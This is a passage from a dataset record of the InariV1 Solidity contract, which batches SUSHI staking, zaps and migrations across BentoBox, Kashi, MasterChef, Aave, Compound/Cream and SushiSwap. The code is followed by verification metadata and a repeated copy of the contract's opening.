IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI
ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); // SUSHI/ETH pair on SushiSwap
IMasterChefV2 constant masterChefv2 = IMasterChefV2(0xEF0881eC094552b2e128Cf945EF17a6752B4Ec5d); // SUSHI MasterChef v2 contract
IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI
IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI
IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract
address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI
address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI
/// @notice Initialize this Inari contract.
constructor() {
bento.registerProtocol(); // register this contract with BENTO
}
/// @notice Helper function to approve this contract to spend tokens and enable strategies.
function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
token[i].safeApprove(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract
}
}
/**********
TKN HELPERS
**********/
function withdrawToken(IERC20 token, address to, uint256 amount) external {
token.safeTransfer(to, amount);
}
function withdrawTokenBalance(IERC20 token, address to) external {
token.safeTransfer(to, token.safeBalanceOfSelf());
}
/***********
CHEF HELPERS
***********/
function depositToMasterChefv2(uint256 pid, uint256 amount, address to) external {
masterChefv2.deposit(pid, amount, to);
}
function balanceToMasterChefv2(uint256 pid, address to) external {
IERC20 lpToken = masterChefv2.lpToken(pid);
masterChefv2.deposit(pid, lpToken.safeBalanceOfSelf(), to);
}
/// @notice Liquidity zap into CHEF.
function zapToMasterChef(
address to,
address _FromTokenContractAddress,
uint256 _amount,
uint256 _minPoolTokens,
uint256 pid,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = masterChefv2.lpToken(pid);
LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
masterChefv2.deposit(pid, LPBought, to);
}
/************
KASHI HELPERS
************/
function assetToKashi(IKashiBridge kashiPair, address to, uint256 amount) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = kashiPair.addAsset(to, true, amount);
}
function assetToKashiChef(uint256 pid, uint256 amount, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, amount);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceToKashi(IKashiBridge kashiPair, address to) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = kashiPair.addAsset(to, true, balance);
}
function assetBalanceToKashiChef(uint256 pid, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, balance);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceFromKashi(address kashiPair, address to) external returns (uint256 share) {
share = IKashiBridge(kashiPair).removeAsset(to, IERC20(kashiPair).safeBalanceOfSelf());
}
/// @notice Liquidity zap into KASHI.
function zapToKashi(
address to,
address _FromTokenContractAddress,
IKashiBridge kashiPair,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 fraction) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = kashiPair.asset();
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
_pairAddress.safeTransfer(address(bento), LPBought);
IBentoBridge(bento).deposit(_pairAddress, address(bento), address(kashiPair), LPBought, 0);
fraction = kashiPair.addAsset(to, true, LPBought);
}
/*
██ ██ ▄ ▄███▄
█ █ █ █ █ █▀ ▀
█▄▄█ █▄▄█ █ █ ██▄▄
█ █ █ █ █ █ █▄ ▄▀
█ █ █ █ ▀███▀
█ █ █▐
▀ ▀ ▐ */
/***********
AAVE HELPERS
***********/
function balanceToAave(address underlying, address to) external {
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0);
}
function balanceFromAave(address aToken, address to) external {
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, IERC20(aToken).safeBalanceOfSelf(), to);
}
/**************************
AAVE -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`.
function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(bento)); // burn deposited `aToken` from `aave` into `underlying`
(amountOut, shareOut) = bento.deposit(IERC20(underlying), address(bento), to, amount, 0); // stake `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> AAVE
**************************/
/// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`.
function bentoToAave(IERC20 underlying, address to, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`
}
/*************************
AAVE -> UNDERLYING -> COMP
*************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`.
function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/*************************
COMP -> UNDERLYING -> AAVE
*************************/
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`.
function compoundToAave(address cToken, address to, uint256 amount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0); // stake resulting `underlying` into `aave` for `to`
}
/**********************
SUSHI -> XSUSHI -> AAVE
**********************/
/// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`.
function stakeSushiToAave(address to, uint256 amount) external { // SAAVE
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).safeBalanceOfSelf(), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`
}
/**********************
AAVE -> XSUSHI -> SUSHI
**********************/
/// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`.
function unstakeSushiFromAave(address to, uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
███ ▄███▄ ▄ ▄▄▄▄▀ ████▄
█ █ █▀ ▀ █ ▀▀▀ █ █ █
█ ▀ ▄ ██▄▄ ██ █ █ █ █
█ ▄▀ █▄ ▄▀ █ █ █ █ ▀████
███ ▀███▀ █ █ █ ▀
█ ██ */
/************
BENTO HELPERS
************/
function balanceToBento(IERC20 token, address to) external returns (uint256 amountOut, uint256 shareOut) {
(amountOut, shareOut) = bento.deposit(token, address(this), to, token.safeBalanceOfSelf(), 0);
}
/// @dev Included to be able to approve `bento` in the same transaction (using `batch()`).
function setBentoApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external {
bento.setMasterContractApproval(user, masterContract, approved, v, r, s);
}
/// @notice Liquidity zap into BENTO.
function zapToBento(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, _pairAddress, LPBought);
bento.deposit(IERC20(_pairAddress), address(this), to, LPBought, 0);
}
/// @notice Liquidity unzap from BENTO.
function zapFromBento(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
/***********************
SUSHI -> XSUSHI -> BENTO
***********************/
/// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.
function stakeSushiToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/***********************
BENTO -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`.
function unstakeSushiFromBento(address to, uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█
█▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █
█ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █
█▄ ▄▀ █ █ █▄ ▄▀ █ █ █ █
▀███▀ █ ▀███▀ █ █
▀ █ ▀
▀ */
// - COMPOUND - //
/***********
COMP HELPERS
***********/
function balanceToCompound(ICompoundBridge cToken) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
cToken.mint(underlying.safeBalanceOfSelf());
}
function balanceFromCompound(address cToken) external {
ICompoundBridge(cToken).redeem(IERC20(cToken).safeBalanceOfSelf());
}
/**************************
COMP -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`.
function compoundToBento(address cToken, address to, uint256 cTokenAmount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
(amountOut, shareOut) = bento.deposit(underlying, address(this), to, underlying.safeBalanceOfSelf(), 0); // stake resulting `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> COMP
**************************/
/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`.
function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/**********************
SUSHI -> CREAM -> BENTO
**********************/
/// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).safeBalanceOfSelf(), 0); // stake resulting crSUSHI into BENTO for `to`
}
/**********************
BENTO -> CREAM -> SUSHI
**********************/
/// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`.
function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/***********************
SUSHI -> XSUSHI -> CREAM
***********************/
/// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`.
function stakeSushiToCream(address to, uint256 amount) external { // SCREAM
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).safeBalanceOfSelf()); // transfer resulting crXSUSHI to `to`
}
/***********************
CREAM -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCream(address to, uint256 cTokenAmount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/********************************
SUSHI -> XSUSHI -> CREAM -> BENTO
********************************/
/// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`.
function stakeSushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).safeBalanceOfSelf(), 0); // stake resulting crXSUSHI into BENTO for `to`
}
/********************************
BENTO -> CREAM -> XSUSHI -> SUSHI
********************************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄▄▄▄▄ ▄ ▄ ██ █ ▄▄
█ ▀▄ █ █ █ █ █ █
▄ ▀▀▀▀▄ █ ▄ █ █▄▄█ █▀▀▀
▀▄▄▄▄▀ █ █ █ █ █ █
█ █ █ █ █
▀ ▀ █ ▀
▀ */
/// @notice Fallback for received ETH - SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
receive() external payable { // INARIZUSHI
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
bento.deposit(IERC20(sushiBar), address(this), msg.sender, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
function inariZushi(address to) external payable returns (uint256 amountOut, uint256 shareOut) {
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice Simple SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`.
function swap(address fromToken, address toToken, address to, uint256 amountIn) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransferFrom(msg.sender, address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
/// @notice Simple SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`.
function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
uint256 amountIn = IERC20(fromToken).safeBalanceOfSelf();
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
} | /// @notice Contract that batches SUSHI staking and DeFi strategies - V1 'iroirona'. | NatSpecSingleLine | balanceToCompound | function balanceToCompound(ICompoundBridge cToken) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
cToken.mint(underlying.safeBalanceOfSelf());
}
| /***********
COMP HELPERS
***********/ | NatSpecMultiLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
15737,
15978
]
} | 11,791 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | InariV1 | contract InariV1 is BoringBatchableWithDai, SushiZap {
using SafeMath for uint256;
using BoringERC20 for IERC20;
IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI
ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); // SUSHI/ETH pair on SushiSwap
IMasterChefV2 constant masterChefv2 = IMasterChefV2(0xEF0881eC094552b2e128Cf945EF17a6752B4Ec5d); // SUSHI MasterChef v2 contract
IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI
IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI
IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract
address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI
address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI
/// @notice Initialize this Inari contract.
constructor() {
bento.registerProtocol(); // register this contract with BENTO
}
/// @notice Helper function to approve this contract to spend tokens and enable strategies.
function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
token[i].safeApprove(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract
}
}
/**********
TKN HELPERS
**********/
function withdrawToken(IERC20 token, address to, uint256 amount) external {
token.safeTransfer(to, amount);
}
function withdrawTokenBalance(IERC20 token, address to) external {
token.safeTransfer(to, token.safeBalanceOfSelf());
}
/***********
CHEF HELPERS
***********/
function depositToMasterChefv2(uint256 pid, uint256 amount, address to) external {
masterChefv2.deposit(pid, amount, to);
}
function balanceToMasterChefv2(uint256 pid, address to) external {
IERC20 lpToken = masterChefv2.lpToken(pid);
masterChefv2.deposit(pid, lpToken.safeBalanceOfSelf(), to);
}
/// @notice Liquidity zap into CHEF.
function zapToMasterChef(
address to,
address _FromTokenContractAddress,
uint256 _amount,
uint256 _minPoolTokens,
uint256 pid,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = masterChefv2.lpToken(pid);
LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
masterChefv2.deposit(pid, LPBought, to);
}
/************
KASHI HELPERS
************/
function assetToKashi(IKashiBridge kashiPair, address to, uint256 amount) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = kashiPair.addAsset(to, true, amount);
}
function assetToKashiChef(uint256 pid, uint256 amount, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, amount);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceToKashi(IKashiBridge kashiPair, address to) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = kashiPair.addAsset(to, true, balance);
}
function assetBalanceToKashiChef(uint256 pid, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, balance);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceFromKashi(address kashiPair, address to) external returns (uint256 share) {
share = IKashiBridge(kashiPair).removeAsset(to, IERC20(kashiPair).safeBalanceOfSelf());
}
/// @notice Liquidity zap into KASHI.
function zapToKashi(
address to,
address _FromTokenContractAddress,
IKashiBridge kashiPair,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 fraction) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = kashiPair.asset();
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
_pairAddress.safeTransfer(address(bento), LPBought);
IBentoBridge(bento).deposit(_pairAddress, address(bento), address(kashiPair), LPBought, 0);
fraction = kashiPair.addAsset(to, true, LPBought);
}
/*
██ ██ ▄ ▄███▄
█ █ █ █ █ █▀ ▀
█▄▄█ █▄▄█ █ █ ██▄▄
█ █ █ █ █ █ █▄ ▄▀
█ █ █ █ ▀███▀
█ █ █▐
▀ ▀ ▐ */
/***********
AAVE HELPERS
***********/
function balanceToAave(address underlying, address to) external {
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0);
}
function balanceFromAave(address aToken, address to) external {
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, IERC20(aToken).safeBalanceOfSelf(), to);
}
/**************************
AAVE -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`.
function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(bento)); // burn deposited `aToken` from `aave` into `underlying`
(amountOut, shareOut) = bento.deposit(IERC20(underlying), address(bento), to, amount, 0); // stake `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> AAVE
**************************/
